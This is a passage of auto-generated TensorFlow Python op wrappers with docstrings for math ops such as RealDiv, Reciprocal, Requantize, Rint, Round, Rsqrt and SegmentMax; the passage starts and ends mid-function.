_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Real", name, input, "Tout", Tout)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return real_eager_fallback(
input, Tout=Tout, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Real", input=input, Tout=Tout, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tout",
_op._get_attr_type("Tout"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Real", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Real = tf_export("raw_ops.Real")(_ops.to_raw_op(real))
def real_eager_fallback(input, Tout, name, ctx):
if Tout is None:
Tout = _dtypes.float32
Tout = _execute.make_type(Tout, "Tout")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.complex64, _dtypes.complex128, ], _dtypes.complex64)
_inputs_flat = [input]
_attrs = ("T", _attr_T, "Tout", Tout)
_result = _execute.execute(b"Real", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Real", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('realdiv')
def real_div(x, y, name=None):
r"""Returns x / y element-wise for real types.
If `x` and `y` are reals, this will return the floating-point division.
*NOTE*: `Div` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `uint16`, `int16`, `int32`, `uint32`, `uint64`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "RealDiv", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return real_div_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
real_div, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"RealDiv", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
real_div, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"RealDiv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
RealDiv = tf_export("raw_ops.RealDiv")(_ops.to_raw_op(real_div))
def real_div_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.uint16, _dtypes.int16, _dtypes.int32, _dtypes.uint32, _dtypes.uint64, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"RealDiv", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"RealDiv", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.reciprocal', v1=['math.reciprocal', 'reciprocal'])
@deprecated_endpoints('reciprocal')
def reciprocal(x, name=None):
r"""Computes the reciprocal of x element-wise.
I.e., \\(y = 1 / x\\).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Reciprocal", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return reciprocal_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
reciprocal, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Reciprocal", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
reciprocal, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Reciprocal", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Reciprocal = tf_export("raw_ops.Reciprocal")(_ops.to_raw_op(reciprocal))
def reciprocal_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Reciprocal", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Reciprocal", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def reciprocal_grad(y, dy, name=None):
r"""Computes the gradient for the inverse of `x` wrt its input.
Specifically, `grad = -dy * y*y`, where `y = 1/x`, and `dy`
is the corresponding input gradient.
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
dy: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "ReciprocalGrad", name, y, dy)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return reciprocal_grad_eager_fallback(
y, dy, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"ReciprocalGrad", y=y, dy=dy, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"ReciprocalGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
ReciprocalGrad = tf_export("raw_ops.ReciprocalGrad")(_ops.to_raw_op(reciprocal_grad))
def reciprocal_grad_eager_fallback(y, dy, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, dy], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(y, dy) = _inputs_T
_inputs_flat = [y, dy]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"ReciprocalGrad", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"ReciprocalGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
_RequantizationRangeOutput = collections.namedtuple(
"RequantizationRange",
["output_min", "output_max"])
def requantization_range(input, input_min, input_max, name=None):
r"""Computes a range that covers the actual values present in a quantized tensor.
Given a quantized tensor described by `(input, input_min, input_max)`, outputs a
range that covers the actual values present in that tensor. This op is typically
used to produce the `requested_output_min` and `requested_output_max` for
`Requantize`.
Args:
input: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
input_min: A `Tensor` of type `float32`.
The float value that the minimum quantized input value represents.
input_max: A `Tensor` of type `float32`.
The float value that the maximum quantized input value represents.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (output_min, output_max).
output_min: A `Tensor` of type `float32`.
output_max: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "RequantizationRange", name, input, input_min, input_max)
_result = _RequantizationRangeOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return requantization_range_eager_fallback(
input, input_min, input_max, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"RequantizationRange", input=input, input_min=input_min,
input_max=input_max, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tinput", _op._get_attr_type("Tinput"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"RequantizationRange", _inputs_flat, _attrs, _result)
_result = _RequantizationRangeOutput._make(_result)
return _result
RequantizationRange = tf_export("raw_ops.RequantizationRange")(_ops.to_raw_op(requantization_range))
def requantization_range_eager_fallback(input, input_min, input_max, name, ctx):
_attr_Tinput, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
input_min = _ops.convert_to_tensor(input_min, _dtypes.float32)
input_max = _ops.convert_to_tensor(input_max, _dtypes.float32)
_inputs_flat = [input, input_min, input_max]
_attrs = ("Tinput", _attr_Tinput)
_result = _execute.execute(b"RequantizationRange", 2, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"RequantizationRange", _inputs_flat, _attrs, _result)
_result = _RequantizationRangeOutput._make(_result)
return _result
_RequantizationRangePerChannelOutput = collections.namedtuple(
"RequantizationRangePerChannel",
["output_min", "output_max"])
def requantization_range_per_channel(input, input_min, input_max, clip_value_max, name=None):
r"""Computes requantization range per channel.
Args:
input: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
The original input tensor.
input_min: A `Tensor` of type `float32`.
The minimum value of the input tensor
input_max: A `Tensor` of type `float32`.
The maximum value of the input tensor.
clip_value_max: A `float`.
The maximum value of the output that needs to be clipped.
Example: set this to 6 for Relu6.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (output_min, output_max).
output_min: A `Tensor` of type `float32`.
output_max: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "RequantizationRangePerChannel", name, input, input_min,
input_max, "clip_value_max", clip_value_max)
_result = _RequantizationRangePerChannelOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return requantization_range_per_channel_eager_fallback(
input, input_min, input_max, clip_value_max=clip_value_max,
name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
clip_value_max = _execute.make_float(clip_value_max, "clip_value_max")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"RequantizationRangePerChannel", input=input, input_min=input_min,
input_max=input_max,
clip_value_max=clip_value_max,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "clip_value_max",
_op.get_attr("clip_value_max"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"RequantizationRangePerChannel", _inputs_flat, _attrs, _result)
_result = _RequantizationRangePerChannelOutput._make(_result)
return _result
RequantizationRangePerChannel = tf_export("raw_ops.RequantizationRangePerChannel")(_ops.to_raw_op(requantization_range_per_channel))
def requantization_range_per_channel_eager_fallback(input, input_min, input_max, clip_value_max, name, ctx):
clip_value_max = _execute.make_float(clip_value_max, "clip_value_max")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ], _dtypes.qint32)
input_min = _ops.convert_to_tensor(input_min, _dtypes.float32)
input_max = _ops.convert_to_tensor(input_max, _dtypes.float32)
_inputs_flat = [input, input_min, input_max]
_attrs = ("T", _attr_T, "clip_value_max", clip_value_max)
_result = _execute.execute(b"RequantizationRangePerChannel", 2,
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"RequantizationRangePerChannel", _inputs_flat, _attrs, _result)
_result = _RequantizationRangePerChannelOutput._make(_result)
return _result
_RequantizeOutput = collections.namedtuple(
"Requantize",
["output", "output_min", "output_max"])
def requantize(input, input_min, input_max, requested_output_min, requested_output_max, out_type, name=None):
r"""Converts the quantized `input` tensor into a lower-precision `output`.
Converts the quantized `input` tensor into a lower-precision `output`, using the
output range specified with `requested_output_min` and `requested_output_max`.
`[input_min, input_max]` are scalar floats that specify the range for the float
interpretation of the `input` data. For example, if `input_min` is -1.0f and
`input_max` is 1.0f, and we are dealing with `quint16` quantized data, then a 0
value in the 16-bit data should be interpreted as -1.0f, and a 65535 means 1.0f.
Args:
input: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
input_min: A `Tensor` of type `float32`.
The float value that the minimum quantized input value represents.
input_max: A `Tensor` of type `float32`.
The float value that the maximum quantized input value represents.
requested_output_min: A `Tensor` of type `float32`.
The float value that the minimum quantized output value represents.
requested_output_max: A `Tensor` of type `float32`.
The float value that the maximum quantized output value represents.
out_type: A `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`.
The type of the output. Should be a lower bit depth than Tinput.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (output, output_min, output_max).
output: A `Tensor` of type `out_type`.
output_min: A `Tensor` of type `float32`.
output_max: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Requantize", name, input, input_min, input_max,
requested_output_min, requested_output_max, "out_type", out_type)
_result = _RequantizeOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return requantize_eager_fallback(
input, input_min, input_max, requested_output_min,
requested_output_max, out_type=out_type, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
out_type = _execute.make_type(out_type, "out_type")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Requantize", input=input, input_min=input_min, input_max=input_max,
requested_output_min=requested_output_min,
requested_output_max=requested_output_max,
out_type=out_type, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tinput", _op._get_attr_type("Tinput"), "out_type",
_op._get_attr_type("out_type"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Requantize", _inputs_flat, _attrs, _result)
_result = _RequantizeOutput._make(_result)
return _result
Requantize = tf_export("raw_ops.Requantize")(_ops.to_raw_op(requantize))
def requantize_eager_fallback(input, input_min, input_max, requested_output_min, requested_output_max, out_type, name, ctx):
out_type = _execute.make_type(out_type, "out_type")
_attr_Tinput, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
input_min = _ops.convert_to_tensor(input_min, _dtypes.float32)
input_max = _ops.convert_to_tensor(input_max, _dtypes.float32)
requested_output_min = _ops.convert_to_tensor(requested_output_min, _dtypes.float32)
requested_output_max = _ops.convert_to_tensor(requested_output_max, _dtypes.float32)
_inputs_flat = [input, input_min, input_max, requested_output_min, requested_output_max]
_attrs = ("Tinput", _attr_Tinput, "out_type", out_type)
_result = _execute.execute(b"Requantize", 3, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Requantize", _inputs_flat, _attrs, _result)
_result = _RequantizeOutput._make(_result)
return _result
_RequantizePerChannelOutput = collections.namedtuple(
"RequantizePerChannel",
["output", "output_min", "output_max"])
def requantize_per_channel(input, input_min, input_max, requested_output_min, requested_output_max, out_type=_dtypes.quint8, name=None):
r"""Requantizes input with min and max values known per channel.
Args:
input: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
The original input tensor.
input_min: A `Tensor` of type `float32`.
The minimum value of the input tensor
input_max: A `Tensor` of type `float32`.
The maximum value of the input tensor.
requested_output_min: A `Tensor` of type `float32`.
The minimum value of the output tensor requested.
requested_output_max: A `Tensor` of type `float32`.
The maximum value of the output tensor requested.
out_type: An optional `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`. Defaults to `tf.quint8`.
The quantized type of output tensor that needs to be converted.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (output, output_min, output_max).
output: A `Tensor` of type `out_type`.
output_min: A `Tensor` of type `float32`.
output_max: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "RequantizePerChannel", name, input, input_min, input_max,
requested_output_min, requested_output_max, "out_type", out_type)
_result = _RequantizePerChannelOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return requantize_per_channel_eager_fallback(
input, input_min, input_max, requested_output_min,
requested_output_max, out_type=out_type, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if out_type is None:
out_type = _dtypes.quint8
out_type = _execute.make_type(out_type, "out_type")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"RequantizePerChannel", input=input, input_min=input_min,
input_max=input_max,
requested_output_min=requested_output_min,
requested_output_max=requested_output_max,
out_type=out_type, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "out_type",
_op._get_attr_type("out_type"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"RequantizePerChannel", _inputs_flat, _attrs, _result)
_result = _RequantizePerChannelOutput._make(_result)
return _result
RequantizePerChannel = tf_export("raw_ops.RequantizePerChannel")(_ops.to_raw_op(requantize_per_channel))
def requantize_per_channel_eager_fallback(input, input_min, input_max, requested_output_min, requested_output_max, out_type, name, ctx):
if out_type is None:
out_type = _dtypes.quint8
out_type = _execute.make_type(out_type, "out_type")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ], _dtypes.qint32)
input_min = _ops.convert_to_tensor(input_min, _dtypes.float32)
input_max = _ops.convert_to_tensor(input_max, _dtypes.float32)
requested_output_min = _ops.convert_to_tensor(requested_output_min, _dtypes.float32)
requested_output_max = _ops.convert_to_tensor(requested_output_max, _dtypes.float32)
_inputs_flat = [input, input_min, input_max, requested_output_min, requested_output_max]
_attrs = ("T", _attr_T, "out_type", out_type)
_result = _execute.execute(b"RequantizePerChannel", 3, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"RequantizePerChannel", _inputs_flat, _attrs, _result)
_result = _RequantizePerChannelOutput._make(_result)
return _result
@_dispatch.add_dispatch_list
@tf_export('math.rint', v1=['math.rint', 'rint'])
@deprecated_endpoints('rint')
def rint(x, name=None):
r"""Returns element-wise integer closest to x.
If the result is midway between two representable values,
the even representable is chosen.
For example:
```
rint(-1.5) ==> -2.0
rint(0.5000001) ==> 1.0
rint([-1.7, -1.5, -0.2, 0.2, 1.5, 1.7, 2.0]) ==> [-2., -2., -0., 0., 2., 2., 2.]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Rint", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return rint_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
rint, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Rint", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
rint, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Rint", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Rint = tf_export("raw_ops.Rint")(_ops.to_raw_op(rint))
def rint_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Rint", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Rint", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def round(x, name=None):
r"""Rounds the values of a tensor to the nearest integer, element-wise.
Rounds half to even. Also known as bankers rounding. If you want to round
according to the current system rounding mode use std::cint.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Round", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return round_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Round", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Round", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Round = tf_export("raw_ops.Round")(_ops.to_raw_op(round))
def round_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Round", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Round", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def rsqrt(x, name=None):
r"""Computes reciprocal of square root of x element-wise.
I.e., \\(y = 1 / \sqrt{x}\\).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Rsqrt", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return rsqrt_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Rsqrt", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Rsqrt", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Rsqrt = tf_export("raw_ops.Rsqrt")(_ops.to_raw_op(rsqrt))
def rsqrt_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Rsqrt", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Rsqrt", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def rsqrt_grad(y, dy, name=None):
r"""Computes the gradient for the rsqrt of `x` wrt its input.
Specifically, `grad = dy * -0.5 * y^3`, where `y = rsqrt(x)`, and `dy`
is the corresponding input gradient.
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
dy: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "RsqrtGrad", name, y, dy)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return rsqrt_grad_eager_fallback(
y, dy, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"RsqrtGrad", y=y, dy=dy, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"RsqrtGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
RsqrtGrad = tf_export("raw_ops.RsqrtGrad")(_ops.to_raw_op(rsqrt_grad))
def rsqrt_grad_eager_fallback(y, dy, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, dy], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(y, dy) = _inputs_T
_inputs_flat = [y, dy]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"RsqrtGrad", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"RsqrtGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.segment_max', v1=['math.segment_max', 'segment_max'])
@deprecated_endpoints('segment_max')
def segment_max(data, segment_ids, name=None):
r"""Computes the maximum along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Computes a tensor such that
\\(output_i = \max_j(data_j)\\) where `max` is over `j` such
that `segment_ids[j] == i`.
If the max is empty for a given segment ID `i`, `output[i] = 0`.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/SegmentMax.png" alt>
</div>
For example:
```
c = tf.constant([[1,2,3,4], [4, 3, 2, 1], [5,6,7,8]])
tf.segment_max(c, tf.constant([0, 0, 1]))
# ==> [[4, 3, 3, 4],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor whose size is equal to the size of `data`'s
first dimension. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SegmentMax", name, data, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return segment_max_eager_fallback(
data, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
